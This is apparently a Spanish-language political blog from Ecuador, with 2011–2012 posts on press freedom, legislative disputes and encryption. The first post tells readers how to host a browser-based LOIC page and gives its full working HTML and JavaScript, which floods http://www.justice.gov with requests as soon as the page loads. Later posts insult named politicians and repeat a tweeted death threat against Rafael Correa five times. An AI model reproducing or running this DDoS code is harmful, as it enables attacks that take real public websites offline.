"Antes se necesitaba un consenso para una protesta electrónica que derribara un sitio web", dice un miembro español de Anonymous del que no se puede revelar ni su apodo en la red. Con el cambio del código penal, cabe la posibilidad de que los ataques DoS colectivos como este sean delito. Y, en EEUU, ya hay detenidos por usar el LOIC. "Ahora ya no se necesita ese consenso", añade. Para este hacker que apenas ha dormido en las últimas horas, "esta vez es más grande, más puntos de ataque". "La anterior no contemplaba una reacción tan rápida y coordinada entre enjambres, curiosos, etc... ¡18 websites abajo!", escribe con cierta satisfacción desde una cuenta cifrada para proteger la conversación de ojos indiscretos. "Ayer se hizo historia", añade.

Una de las novedades de los ataques es que ahora no hace falta instalar el programa LOIC en el ordenador. Anonymous ha difundido por foros, chats, redes sociales y Twitter una dirección web que lo lleva ya incorporado (por medio de javascript). Con esto, las posibilidades de ser denunciado disminuyen al no tener LOIC en el equipo (siempre que se borre el registro de navegación). Además, el cambio da mayor movilidad y capacidad de concentración de los ataques.

Según cuenta este miembro de Anonymous, los próximos días habrá novedades. Por un lado, se está trabajando en mecanismos para burlar el bloqueo de las páginas como Megaupload y, por otro, nuevos alistamientos en Anonymous y "nuevas filtraciones". No quiso dar más detalles. Por lo que parece hay hacktivistas que dejan el LOIC a la infantería. "Son arqueros que están en un segundo plano, disparan desde más lejos pero apuntan más fino", explica.

LOIC en Javascript

Solo copia el siguiente código en algún editor online de HTML tipo: htmledit.squarefree.com, o usa un hosting anónimo tipo: pastehtml.com lo pegas donde dice: "Paste your HTML code or plain text", luego aplastas el botón que dice: "publish page" y listo... tienes tu propio link del LOIC para realizar un ataque de denegación de servicio o DDOS al estilo anonymous a la página del departamento de justicia norteamericano y al FBI:

En seguridad informática, un ataque de denegación de servicio, también llamado ataque DoS (de las siglas en inglés Denial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima. Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le denomina "denegación", pues hace que el servidor no dé abasto a la cantidad de solicitudes. Esta técnica es usada por los llamados Crackers para dejar fuera de servicio a servidores objetivo, (Ataque de denegación de servicio).

<html> <head> <style> .Estilo1 { color: #000000; font-weight: bold; font-size: 18px; } .Estilo2 {color: #FF0000;} .Estilo3 {color: #66FF00;} .Estilo4 {color: #00FFFF;} .Estilo6 {color: #FFFFFF; font-weight: bold;} h1 {color:#FFF;} .vids { height: 765px; width: 640px; overflow: hidden; margin-left:auto; margin-right:auto; } .embeds { width: 640px; } --> </style> </head> <body background="http://i54.tinypic.com/i1wawz.jpg"> <div class="centrado"> <div style="width:1100px; overflow:hidden; padding-top:4px; float:left"> <div id="loic" style="z-index:10; width:1100px; margin-bottom:20px; height:770px;"> <div style="margin-left:auto; margin-right:auto"> <h1>Anonymous #OpMegaupload /> Deja esta web abierta<br /></h1> <p><div style="position: relative; width: 752px; height: 100%; left: -177px; top: 11px;"> <div style="width: 490px; height: 331px; position: absolute; left: 186px; top: -15px;"> <img alt="LOIC" src="http://anonymouse.org/cgi-bin/anon-www.cgi/http://i55.tinypic.com/2i7mxcj.png" width="979" height="482"></div> <div style="width: 323px; height: 73px; position: absolute; left: 427px; top: -1px;"> <fieldset style="width: 100%; height: 100%;"> <legend>Step 1. Selecciona Target: </legend> <label>URL: <br> <input name="xD" id="targetURL" style="width: 100%;" value="http://www.justice.gov"> </button> </label> <legend></legend> </fieldset> </div> <div style="width: 240px; height: 100px; position: absolute; left: 876px; top: -8px;"> <fieldset style="width: 100%; height: 100%;"> <legend>Step 2. Listo?</legend> <button id="fireButton" style="background-color:#FF9900; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); width: 240px; height: 70px;"> Dejar de Disparar! </button> </fieldset> </div> <div style="width: 685px; height: 140px; position: absolute; left: 404px; top: 110px;"> <fieldset style="width: 100%; height: 100%;"> <legend>Opcional. Opciones De Ataque? </legend> <label><span id="result_box"><span title="Requests per second">Solicitudes por segundo</span></span>: <input style="width: 40px;" id="rps" value="1000"></label> <p> </p> <label>Mensaje:<br> <input id="message" style="width: 100%;" value="Somos legiÃ³n!"> </label> </fieldset> <div style="width: 676px; height: 163px; position: absolute; left: 0px; top: 167px;"> <fieldset style="width: 100%; height: 100%;"> <legend>Attack status:</legend> <dl> <dt>Solicitudes:</dt> <dd class="Estilo4" id="requestedCtr">0</dd> <dt>Logros:</dt> <dd class="Estilo3" id="succeededCtr">0</dd> <dt>Fallidos:</dt> <dd class="Estilo2" id="failedCtr">0</dd> </dl> </fieldset> </div> </div> </div> <script> (function () { var fireInterval; var isFiring = false; var currentTime = new Date() var lastSuccess = currentTime.getTime(); var requestedCtrNode = document.getElementById("requestedCtr"), succeededCtrNode = document.getElementById("succeededCtr"), failedCtrNode = document.getElementById("failedCtr"), targetURLNode = document.getElementById("targetURL"), fireButton = document.getElementById("fireButton"), messageNode = document.getElementById("message"), rpsNode = document.getElementById("rps"), timeoutNode = document.getElementById("timeout"); var targetURL = targetURLNode.value; targetURLNode.onchange = function () { targetURL = this.value; }; var requestsHT = {}; // requests hash table, may come in handy later var requestedCtr = 0, succeededCtr = 0, failedCtr = 0; var makeHttpRequest = function () { if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests return; } else { lastSuccess = currentTime.getTime();}; var rID =Number(new Date()); var img = new Image(); img.onerror = function () { onFail(rID); }; img.onabort = function () { onFail(rID); }; img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value); requestsHT[rID] = img; onRequest(rID); }; var onRequest = function (rID) { requestedCtr++; requestedCtrNode.innerHTML = requestedCtr; }; var onComplete = function (rID) { delete requestsHT[rID]; }; var onFail = function (rID) { // failedCtr++; //failedCtrNode.innerHTML = failedCtr; succeededCtr++; //Seems like the url will always fail it it isn't an image succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser }; var onSuccess = function (rID) { succeededCtr++; succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID]; }; fireButton.onclick = function () { if (isFiring) { clearInterval(fireInterval); isFiring = false; this.innerHTML = "Disparar Otra Vez!"; } else { isFiring = true; this.innerHTML = "Dejar de Disparar!"; fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0)); } }; function FireIbero() { if (isFiring) { clearInterval(fireInterval); isFiring = false; this.innerHTML = "Disparar Otra Vez!"; } else { isFiring = true; this.innerHTML = "Stop flooding"; fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0)); } }; //Cambiar Target y descomentar la funcion FireIbero(); document.getElementById("targetURL").value = "http://www.justice.gov"; FireIbero(); })(); </script> </div> </div> </div> </div> <script> alert("#OpMegaupload target: http://www.justice.gov </script> </body> </html>

Fuente:

Público | #OpMegaupload: la venganza de Anonymous

Reforma en Ecuador bloquearía cumplir con organismos de DD.HH.

2012-01-08T13:19:00.003-05:00

Para la semana pasada estaba previsto que el presidente de la Asamblea, Fernando Cordero (AP), ponga en la agenda legislativa la votación del proyecto de Ley de Repetición pero las publicaciones en la prensa frenaron su debate, denunció el asambleísta Enrique Herrería (antes MG).

Este documento propuesto por el asambleísta Mauro Andino (AP) plantea blindar a futuro al presidente de la República y dejarlo exento de asumir sus responsabilidades, ante casos de violación a los derechos humanos y fundamentales, juzgados en cortes internacionales.

La acción de repetición es un mecanismo por el cual un Estado que ha sido condenado a reparar daños por conducta dolosa de uno de sus funcionarios, puede seguir un proceso para que dicho funcionario reembolse esos valores.

La Constitución vigente en el país en su artículo 233 determina que, no existirá servidora ni servidor público exento de responsabilidades por los actos u omisiones realizados en el ejercicio de sus funciones, lo que incluye al primer mandatario.

En dichas reformas se incluye además un artículo que señala que no se podrá ejercer repetición sobre los asambleístas por los votos, opiniones que emitan, ni por las decisiones o actos que sean o hayan sido producto del ejercicio de sus funciones, dentro y fuera de la Asamblea Nacional.

Y se excluye de esta responsabilidad al presidente de la República, quien ya no estaría obligado a responder de futuras acciones propuestas por el Estado en su contra.

Herrería insistió en que esta ley lo que busca es “blindar al actual Gobierno en casos de violación a los derechos humanos” que podrían obtener fallos favorables en las cortes internacionales.

Fuente:

EL UNIVERSO | Reforma bloquearía cumplir con organismos de DD.HH.

SIP preocupada por fallo contra Jaime Mantilla

2011-12-24T15:04:00.002-05:00

La Sociedad Interamericana de Prensa (SIP) expresó su preocupación por un fallo judicial que condena al director del diario Hoy , el cual “remarca el constante deterioro que sufre la libertad de prensa” en ese país.

El director de diario Hoy , Jaime Mantilla Anderson, fue sentenciado a tres meses de prisión y al pago de una multa de 25 dólares estadounidenses, por el delito de injurias tras una querella interpuesta en 2010 por Pedro Delgado, actual presidente del directorio del Banco Central del Ecuador y primo del presidente Rafael Correa. El fallo fue dictado el 21 de diciembre de 2011 por el juez décimo de Garantías Penales de Pichincha, Leonardo Tipán Valencia.

La demanda de Delgado fue motivada por una serie de notas publicadas en 2009 en el suplemento "Blanco y Negro" de Hoy , que consideró injuriosas, mientras fungía como presidente de la Junta del Fideicomiso AGD-CFN, entidad estatal encargada del cierre de 11 entidades financieras. La demanda también incluía que Mantilla revelara los nombres de los periodistas y de sus fuentes, lo que persistentemente se negó a hacer, amparándose en garantías constitucionales sobre secreto profesional.

El presidente de la SIP, Milton Coleman, dijo que “tememos que este fallo que favorece a un pariente del Presidente y que castiga a un propietario de un diario no parece un hecho aislado, sino parte de una estrategia con la que se busca castigar y desalentar a los medios en su función investigativa y de perros guardianes, anteponiendo siempre la excusa del derecho a la honra y la fama de los funcionarios”.

Coleman hizo así referencia a otros juicios motivados desde el poder público, como el del presidente Rafael Correa contra los directores y un columnista del diario El Universo y, entre otros, contra los autores del libro El Gran Hermano, en el que se relatan hechos de corrupción entre el Estado y Fabricio, hermano mayor del primer mandatario.

Agregó que “más allá del derecho de los ciudadanos de acudir a la justicia, nos preocupa que todavía se condene a periodistas a la cárcel, especialmente por litigios que involucran a funcionarios públicos, quienes deben estar más abiertos a la crítica y el escrutinio público”.

“Una vez más – dijo Coleman, editor senior del diario estadounidense The Washington Post – esta sentencia nos obliga a redoblar nuestros esfuerzos para que los legisladores y el gobierno de Ecuador entiendan la necesidad de que se despenalicen los delitos de difamación, por ser contrarios a la libertad de prensa como lo especifica la doctrina interamericana”.

La Declaración de Principios sobre Libertad de Expresión de la Organización de los Estados Americanos, consigna que “… La protección a la reputación debe estar garantizada sólo a través de sanciones civiles, en los casos en que la persona ofendida sea un funcionario público o persona pública o particular que se haya involucrado voluntariamente en asuntos de interés público”.

Mantilla, vicepresidente de la SIP, anunció que apelará la sentencia por considerar que tiene anomalías, entre ellas, que el juez que la dictó se inhibió de la causa un día antes. De quedar en firme, Mantilla sería recluido en el Centro de Detención Provisional de Varones en la ciudad de Pichincha.

Fuente:

El Diario | SIP preocupada por fallo en contra de Jaime Mantilla

El registro de propiedad del 30S causa burlas, críticas y rechazo

2011-12-14T11:14:00.018-05:00

Mientras avanza el proceso solicitado por el secretario de la Administración, Vinicio Alvarado, para registrar como marcas las denominaciones 30S, 30-S, y prohibido olvidar en el Instituto Ecuatoriano de Propiedad Intelectual (IEPI), en las redes sociales esta iniciativa genera rechazo y críticas.

En la gaceta 560 de septiembre pasado consta la solicitud del Gobierno para que las frases mencionadas se transformen en marca registrada de la Presidencia de la República.

El tema saltó a la esfera pública el lunes pasado, luego de que un tuitero con la dirección @Senior_H publicara en su cuenta y en su blog la solicitud de registro hecha por Alvarado, lo que dio lugar a críticas, bromas e ironías.

Por ejemplo, la asambleísta María Paula Romo, antes de Alianza PAIS, en su cuenta @mariapaularomo escribió: “Si se registra la marca ‘nuevo rico’ ya nadie puede decirlo? #elé era más fácil y no distraían a los jueces!!”. Refiriéndose al juicio que entabló Vinicio Alvarado a su excoidearia Mónica Chuji, quien en una entrevista para diario El Comercio lo llamó el ‘nuevo rico’ del Gobierno.

Eduardo Arcos, un ecuatoriano que vive en España, aseguró ser el creador del 30S y opositor a la idea de Carondelet de patentarla porque, aseguró, “30S es una etiqueta usada por miles o millones de ecuatorianos para recordar un día en particular y, por lo tanto, no debería pertenecerle a nadie”.

Si bien cree que las intenciones del régimen son buenas, “sienta un precedente peligroso para la libertad de expresión. Por mucho que haya propuesto, esa marca no me pertenece, ni le pertenece a la Presidencia, le pertenece a todos”.

Zelva González, experta en temas de propiedad intelectual, explicó que este es un tipo de registro referente a la propiedad industrial.

El registro del pedido de Alvarado está en la fase de oposición en el IEPI. Cualquier persona que se sienta afectada en sus derechos puede presentar oposición al registro hasta el 15 de diciembre, caso contrario, correrá un plazo de 15 días para el examen de registrabilidad y conceder el título por diez años, que podrán ser renovables.

De ser así, la frase “prohibido olvidar” también pasará a ser restringida para “servicios enunciados en la clase: publicidad, gestión de negocios comerciales y trabajos de oficina”, lo que no quiere decir que “nadie más la va a poder pronunciar”, aseguró la experta.

No obstante, esta frase se la ha utilizado en discursos reivindicativos de los derechos humanos como en el caso de los desaparecidos hermanos Santiago y Andrés Restrepo.

Ayer, su padre, Pedro Restrepo, comentó que no entiende cómo se puede registrar una frase, “por ejemplo, yo nunca, ni como familia, vamos a decir que una frase nos pertenece. No creo que se deba apropiar de frases generales que representan luchas sociales”.

En actuable.es se recogen firmas para evitar que se registren estas marcas en el IEPI y para eso busca reunir 600. Hasta las 22:55 de ayer habían suscrito la petición 411 personas.

Canción de Rubén Blades:

La frase “Prohibido Olvidar” que busca registrar el gobierno de Rafael Correa incluso es el título de una canción del panameño Rubén Blades, que critica a un gobierno dictador. Parte de la letra detalla: “Prohibieron ir a la escuela e ir a la universidad; prohibieron las garantías y el fin constitucional; prohibieron el derecho a queja, prohibieron el preguntar; prohibida la voluntad; prohibida la libre prensa y prohibido el opinar".

Eduardo Arcos, otro "arrepentido" más

Eduardo Arcos es un bloguero y tuitero, antiguo crítico de la oposición de este país y uno de los lamebotas y chupamedias que tuvo Rafael Correa al iniciar su mandato presidencial, (leer: El caso Teleamazonas y la “libertad de expresión”, print page del post).

Estos idiotas nunca faltan, todos sabemos que Carlos Vera fue quien puso a Correa de Presidente para luego convertirse en su opositor, ahora... Arcos se suma a esa larga lista de arrepentidos - entucados por Rafael Correa; va uno más para la cuenta.

Un abogado en Ecuador le cobra $800 dólares por iniciar el juicio de impugnación sobre el copyright del 30s (Arcos aun decide si pagarle o no), yo pienso que $800 dólares es un precio muy bajo para quien apoyó la candidatura de Rafael Correa y hoy es cómplice de las muertes del 30s; que el se arrepienta no le es útil a nadie, ya solo le tocaría purgar su consciencia... y le doy un consejo: ¿podrías dejarte de pendejadas ideológicas y comprar de una vez por todas el maldito hashtag que tu mismo inventaste?, si así lo hicieses nos quitarías una buena carga de encima.

No me sorprendería que este "progresista" que vivió siempre de la publicidad del capitalismo se tire para atrás y no haga nada, incluso quien sabe si hasta negocie con el gobierno el "no hacer nada".

(Link del tweet)

Y como era de esperarse, tal como siempre hago con los arrepentidos que conozco, les digo:

"TE LO DIJE"
.

Fuente:

1.- El Comercio | El registro de la marca 30-S es impugnado
2.- EL UNIVERSO | Bloguero Arcos, contrario a que gobierno registre término 30S
3.- EL UNIVERSO | El registro de propiedad del 30S causa burlas, críticas y rechazo
4.- Diario Hoy | Autor del término 30S se opone al registro de marca que tramita el Gobierno

Asamblea niega levantar inmunidad de Galo Lara

2011-12-08T17:20:00.003-05:00

La Asamblea Nacional negó esta tarde levantar la inmunidad parlamentaria del asambleísta Galo Lara, tampoco autorizó iniciar la causa penal en contra el legislador, ante la demanda de la ministra de Inclusión Económica y Social, Ximena Ponce

De 124 asambleístas presentes 51 votaron a favor de levantarle la inmunidad a Lara, pero 71 legisladores dijeron que no, y dos se abstuvieron de votar.

En la reconsideración de la votación, el pedido sacó 51 votos a favor, 70 en contra, 0 abstenciones y 1 en blanco.

En cuanto al pedido de la Corte Nacional de Justicia para iniciar una causa penal en contra de Lara, ante la demanda interpuesta por la ministra Ximena Ponce, 35 asambleístas respondieron que sí, 77 en contra, 4 votaron en blanco, y 8 se abstuvieron

En la reconsideración, 31 legislador votaron afirmativamente, 76 de forma negativa, 2 blancos y 15 abstenciones.

Con cuarenta minutos de retraso se inició esta mañana la sesión en el Legislativo, en la que analizará el pedido del levantamiento de la inmunidad parlamentaria al asambleísta Galo Lara (SP), para que la Corte de Justicia inicie una causa penal en su contra.

Esto en el marco de las dos demandas penales iniciadas en contra del legislador, una por la ministra de Inclusión Económica y Social, Ximena Ponce; y la otra por el presidente de la república Rafael Correa.

El asambleísta Leonardo Viteri (antes PSC) mocionó que las dos demandas se debatan por separado, propuesta que tuvo la acogida de 101 votos afirmativos, 1 blanco y 21 abstenciones.

Durante su intervención, Cynthia Viteri (MG) precisó que no hay definición legal ni constitucional expresa para levantar la inmunidad a Lara.

Mientras que el asambleísta César Rodríguez pidió a la Secretaría certificar los pedidos similares contra Jorge Escala (MPD) y Presidente de la República, Rafael Correa, informó @asambleaecuador vía Twitter.

Por su parte, el asambleísta Virgilio Hernández (AP) propuso que la resolución que se tome en caso Lara sea con mayoría absoluta.

Con 123 asambleístas presentes, la propuesta de Hernández recibió en primera votación: 56 votos a favor, 66 negativos y 0 abstenciones. En rectificación, se votó 55 afirmativos 567 negativos 0 abstenciones.

Fernando Cordero, titular de la Asamblea, señaló que votará para que se levante la inmunidad de Lara, en el caso de la demanda presentada por el mandatario.

En su intervención, el asambleísta Alfredo Ortiz indicó que el día en que se le quite la inmunidad a un asambleísta, ese día habrá que cerrar la Asamblea e irse a la casa.

Por su parte, la asambleísta Viteri cuestionó que el presidente de la Asamblea, Fernando Cordero, haya querido debatir. ¿Por qué escondió casi 30 días las peticiones en el escritorio?, increpó.

Viteri cuestionó a Pedro de la Cruz, quien se mostró a favor de que se le quite la inmunidad al asambleísta, cuando él, en su momento, votó en contra de que se levante la inmunidad del presidente Correa, porque un ciudadano lo demandó por injurias.

Previos
Lara llegó temprano a la Asamblea y se mostró confiado de tener los votos que impidan el levantamiento de su inmunidad para evitar el inicio de las posibles causas penales.

En tanto que los asambleístas de Alianza PAIS, quien llegaron retraso al pleno, mantuvieron una reunión desde las 08:00 para intentar levantar la inmunidad a Lara.

Demanda
El mandatario presentó la demanda contra Lara porque el legislador aseguró que Correa "dirige y protege la corrupción" desde Carondelet.

Fuente:

EL UNIVERSO | Asamblea niega levantar la inmunidad de Galo Lara

Galo lara: "Correa dirige la corrupción desde Carondelet"

2011-12-08T12:00:00.001-05:00

El presidente de la República, Rafael Correa, desde Carondelet, dirige, protege y premia la corrupción. Así se expresa el asambleísta opositor, Galo Lara, miembro de la Comisión de Fiscalización y Control Político, en respuesta a las pretensiones del Ejecutivo de buscar el retiro de la inmunidad parlamentaria para enjuiciarlo penalmente.

Lara reiteró sus denuncias de corrupción presentando pruebas y entregadas en la Fiscalía y Contraloría. En el caso del soat y Bono de la Pobreza, el fiscal le inició una acción por peculado a Oscar Herrera, pero el ejecutivo inmediatamente le da inmunidad diplomática y lo designa jefe la Oficina Comercial en Corea del Sur, por eso es que "digo que usted presidente Correa dirige, protege, engríe y hasta premia la corrupción".

Fuente:

1.- Galo Lara Yepez
2.- Telemazonas | Galo Lara: "Este Gobierno no me callará cuando demuestro sus prácticas de corrupción"

Vinicio Alvarado y Fernando Alvarado "los nuevos ricos del Ecuador"

2011-11-26T13:37:00.015-05:00

Mónica Chuji denunció que Vinicio Alvarado es el nuevo rico del Ecuador y por eso fue acusada de injurias calumniosas y luego sentenciada a un año de prisión más $100.000 dólares de multa, pero cualquier persona puede revisar las pruebas del enriquecimiento de los hermanos Alvarado desde la página web del S.R.I.

Alvarado Espinel Teodoro Fernando

Click en la imagen para agrandarla

Alvarado Espinel Roldán Vinicio

Click en la imagen para agrandarla

Acusaciones previas contra los hermanos Alvarado

Son varias las personas que afirman que los hermanos Alvarado se han enriquecido ilícitamente durante este gobierno:

La ex constituyente de Montecristi no es la única que ha calificado de rico a Alvarado. El 8 de noviembre de 2009, dos años antes, el hermano del presidente, Fabricio Correa, dijo a Teleamazonas que "Vinicio Alvarado gana 12,5 veces más que hace dos años sin ir a su oficina o trabajar". No hubo proceso penal. Tampoco cuando Joffre Campaña, en entrevista con Jorge Ortiz el 30 de septiembre de 2009, dijo que Alvarado "es el funcionario más próspero del Gobierno" e hizo un chiste sobre el grafiti que, en ese entonces, estaba en varias paredes de Quito y Guayaquil: "Nada para la Patria, todo para Vinicio".

El perdón de Dios...

Pero lo chistoso de esto es que una vez ganado el juicio, Vinicio Alvarado perdona a Mónica Chuji, seguramente porque sabe que está hundido hasta el cuello y que sus cuentas lo desenmascaran por completo:

Con el perdón, Alvarado dijo que espera que la dirigente indígena se vaya “tranquilamente a su casa a disfrutar de sus hijos, de sus actividades políticas y no tendrá que dar un solo centavo como efecto de indemnización por las injurias cometidas”.

Pero Chuji, también en una rueda de prensa, dijo que no acepta el perdón de Alvarado, porque:

Yo creía que solo Dios puede darme el perdón. Yo soy inocente, no tiene nada de qué perdonarme... así que más bien, creo que no se esperaba, que esta noticia trascienda a nivel internacional”.

Queremos indicar solo como dato de los ingresos de la empresa del señor Alvarado, que en el 2005 declaró Impuesto a la Renta $ 75.910; en el 2006 fue $ 102.405; en el 2007, $ 167.497; en el 2008, $117.161; y, en el 2010, $133.300. Mis expresiones de nuevo rico, lo hemos demostrado que no es injuria ni calumnia, no hay imputaciones de delito, por tanto vamos a interponer el recurso de apelación y de nulidad d el proceso”

Creo que sus interpretaciones las está usando como escudo, porque la gente empieza a preguntarse qué está pasando y empieza a hacerse público lo que sus empresas están haciendo”

Fuentes:

1.- Rafael Correa | Los nuevos ricos Vinicio y Fernando Alvarado
2.- Ecuador Inmediato | Hoy (Quito) Alvarado pide 25 mil dólares por daños
3.- EL UNIVERSO | Chuji: Creía que solo Dios podía darme el perdón, no Alvarado

Correa: Me quieren matar por narco-socialista, nazi y dictador

2011-11-25T12:33:00.008-05:00

No es ninguna sorpresa, es algo que lo viene repitiendo desde siempre al igual que el esquizofrénico paranoico de Chávez en venezuela, lo sorprendente es como un Twittero pueda llegar a matar a alguien con un Twitt:

Leer: Detienen a "twittero" por amenazas de muerte a Rafael Correa

¡Ave César, los que te vamos a matar!, ¡Ave MashiRafael, los que te vamos a matar te saludamos!.

¡Ave César, los que te vamos a matar!, ¡Ave MashiRafael, los que te vamos a matar te saludamos!.

¡Ave César, los que te vamos a matar!, ¡Ave MashiRafael, los que te vamos a matar te saludamos!.

¡Ave César, los que te vamos a matar!, ¡Ave MashiRafael, los que te vamos a matar te saludamos!.

¡Ave César, los que te vamos a matar!, ¡Ave MashiRafael, los que te vamos a matar te saludamos!.

Fuente:

Rafael Correa | Quien quiere matar a nuestro adorado tirano rafael correa?

Detienen a "twittero" por amenazas de muerte a Rafael Correa

2011-11-25T12:14:00.002-05:00

La policía ecuatoriana detuvo a un hombre sospechoso de haber amenazado de muerte al presidente Rafael Correa a través de la red social Twitter, informó el ministro del Interior, José Serrano.

Javier Genovez Solano, de 44 años, fue detenido en la ciudad andina de Cuenca (300 km al sur de Quito), donde reside, indicó el ministro al periódico digital de la Presidencia.

El que "lanzó al presidente no es su único tweet amenazante, ya ha cruzado con otras personas una serie de mensajes contra la vida del presidente", agregó Serrano.

El pasado sábado, durante su informe semanal de labores, Correa denunció haber recibido las intimidaciones en su cuenta de Twitter, e indicó que el caso estaba siendo investigado por el ministerio del Interior.

"¿Han visto cuántas amenazas de muerte he recibido? La otra vez un twittero mandó: '¡Ave César, los que te vamos a matar!, ¡Ave MashiRafael, los que te vamos a matar te saludamos!'", refirió el mandatario.

Correa abrió cuentas en Twitter (@mashirafael, con 141.864 seguidores) y Facebook el pasado 29 de julio, en las tiene agregados a sus homólogos de Venezuela, Hugo Chávez, y de Argentina, Cristina Fernández.

El gobernante acusó a algunos medios de comunicación de actuar con parcialidad en el tema de las intimidaciones y criticó que solo publican las que les convienen, como las que, según él, denunció recientemente César Ricaurte, director de Fundamedios, una ONG que monitorea violaciones a la libertad de expresión.

Correa deploró que no haya ocurrido así con el caso del director del Servicio de Rentas Internas (SRI), Carlos Marx Carrasco, quien también denunció amenazas presuntamente por su política de recaudación de impuestos.

"Fíjense el sesgo de la información. ¿Es eso libertad de expresión o es propaganda, manipulación, desinformación?", cuestionó el jefe de Estado, quien le ofreció "toda la protección" a Ricaurte.

Fuente:

1.- Detienen a 'twittero' por amenazas de muerte a Rafael Correa
2.- Observador Global | Detienen a 'twittero' por amenazas de muerte a Rafael Correa

Crear un nick de Internet será "DELITO" en Ecuador

2011-11-17T14:47:00.034-05:00

Yo puedo perdonar muchas cosas, pero la estupidez y la incapacidad jamás, en realidad los estúpidos me dan asco y mas cuando ocupan cargos de poder desde donde se supone nos dirigen y nos representan, eso si es totalmente inadmisible. No se Ustedes, pero yo tengo bien bien claro que:

A MI NO ME REPRESENTA NI ME DIRIGE NIGÚN IGNORANTE".

Para muestra un botón: Mauro Andino, flamante Presidente de la comisión encargada de la nueva ley de comunicación dice que es un "DELITO" crear una página con nombres falsos, ¿a que se refiere este sujeto con esto?, ¿A UN NICK DE INTERNET?.

¡Me quiero controlar eh!!!, siento clarito en el cuerpo esa sensación de coraje que me sabe dar, las ganas de putear a unos cuantos "IMBÉCILES" vía este blog parecen incontenibles, no obstante y aunque me cuesta de sobremanera, intento... (por el bien de mi gastritis) mantener la compostura.

Vean el video, Mauro Andino califica de "DELITO", crear una página con un nombre falso (nick de Internet), además su burocratizada y estatizada cabeza no le da ni siquiera para entender que no es necesaria la cédula de identidad para crear una página, (hondo suspiro...), ya no hay futuro, estamos cada vez de mal en peor:

Por: Pancho Cajas

¿Facebook o Twitter?

Vía: El Comercio

Reacciones de otros tuiteros

Leer: Estado de twitter.

Leer: Estado de twitter.

Leer: Estado de twitter.

Leer: Estado de twitter.

Leer: Estado de twitter.

Leer: Estado de twitter.

Leer: Estado de twitter.

Ley de comunicación en Ecuador busca reprimir blogs en Internet

2011-11-16T15:04:00.033-05:00

La ley de comunicación se debate en la Asamblea Nacional del Ecuador, prentenden... entre otras formas de censura, obligar a los blogueros a revelar sus identidades, registrar los blogs y controlar las redes sociales en general (recuerden que un blog o página web "PERSONAL" es también una red social).

Están llegando hasta el punto de "CRIMINALIZAR" los nicks de Internet, calificándolos de "DELITO" por no ser un nombre verdadero. Para los incrédulos, para los que no conciben que esto pueda llegar a pasar, les dejo un video:

Para el gobierno ecuatoriano ahora es un "DELITO" tener un nick de Internet... (INCREÍBLE)

Ante el anuncio... muchos blogueros ya está cerrando o borrando sus blogs, uno de ellos: Comentarios de lado oscuro sale del aire por tiempo indeterminado:

Leer: ESTE BLOG SE CIERRA POR TIEMPO INDETERMINADO

Pero "LA PLEGARIA DE UN PAGANO" no cerrará, se mantendrá activo en defensa de las libertades individuales y la libertad de expresión hasta las últimas consecuencias porque pese a todo, mantengo firme mi palabra:

PARA CALLARME TENDRÁN QUE MATARME"

¿Quieren este blog?
¡VENGAN POR EL!!!

Fuente:

Ecuador en vivo | Ley de Comunicación, sin consenso entre asambleístas

Encripta tu disco duro con TrueCrypt y previene incautación de equipos

2011-11-13T10:56:00.021-05:00

Si haces disidencia política por internet, blogueo disidente, hacktivismo, hacking ético, etc., debes tener mucho cuidado porque tarde o temprano recibirás en tu casa una orden de la fiscalía de tu país incautando tus equipos informáticos para investigaciones, recuerda que ante la implementación del nuevo código penal en Ecuador las penas por delitos informáticos van desde los 3 hasta los 9 años de prisión.

Leer: Manual de seguridad informática para blogueros disidentes
Leer: Criptoanarquismo | Bienvenidos al ciferespacio anarcocapitalista

Está claro que si no hay pruebas no hay delito, así que por mas que se lleven tus discos duros para que los mas importantes peritos informáticos los investiguen de cabo a rabo, nadie podrá desencriptarlos por fuerza bruta de aquí hasta en aproximadamente 500 años o más, ¿como logras esto?, pues fácil... solo encriptas tu información con el sistema criptográfico estándar y oficial de la Agencia de Seguridad Nacional Norteamericana (NSA), ¿¿¿??? + ¡¡¡!!! + WFT!!!???, seguramente has de creer que es mentira, pero tranquilo... ¡te estoy hablando en serio!!!.

La criptografía (del griego κρύπτω krypto, «oculto», y γράφως graphos, «escribir», literalmente «escritura oculta») es la técnica, bien sea aplicada al arte o la ciencia, que altera las representaciones lingüísticas de un mensaje. La palabra criptografía es un término genérico que describe todas las técnicas que permiten cifrar mensajes o hacerlos ininteligibles sin recurrir a una acción específica. El verbo asociado es cifrar, (criptografía).

En informática, la búsqueda por fuerza bruta, búsqueda combinatoria, búsqueda exhaustiva o simplemente fuerza bruta, es una técnica trivial pero a menudo usada, que consiste en enumerar sistemáticamente todos los posibles candidatos para la solución de un problema, con el fin de chequear si dicho candidato satisface la solución al mismo. La búsqueda por fuerza bruta es sencilla de implementar y, siempre que exista, encuentra una solución. Sin embargo, su coste de ejecución es proporcional al número de soluciones candidatas, el cual es exponencialmente proporcional al tamaño del problema, (búsqueda de fuerza bruta).

Advanced Encryption Standard (AES)

Advanced Encryption Standard (AES), también conocido como Rijndael (pronunciado "Rain Doll" en inglés), es un esquema de cifrado por bloques adoptado como un estándar de cifrado por el gobierno de los Estados Unidos. El AES fue anunciado por el Instituto Nacional de Estándares y Tecnología (NIST) como FIPS PUB 197 de los Estados Unidos (FIPS 197) el 26 de noviembre de 2001 después de un proceso de estandarización que duró 5 años. Se transformó en un estándar efectivo el 26 de mayo de 2002. Desde 2006, el AES es uno de los algoritmos más populares usados en criptografía simétrica.

El cifrador fue desarrollado por dos criptólogos belgas, Joan Daemen y Vincent Rijmen, ambos estudiantes de la Katholieke Universiteit Leuven, y enviado al proceso de selección AES bajo el nombre "Rijndael".

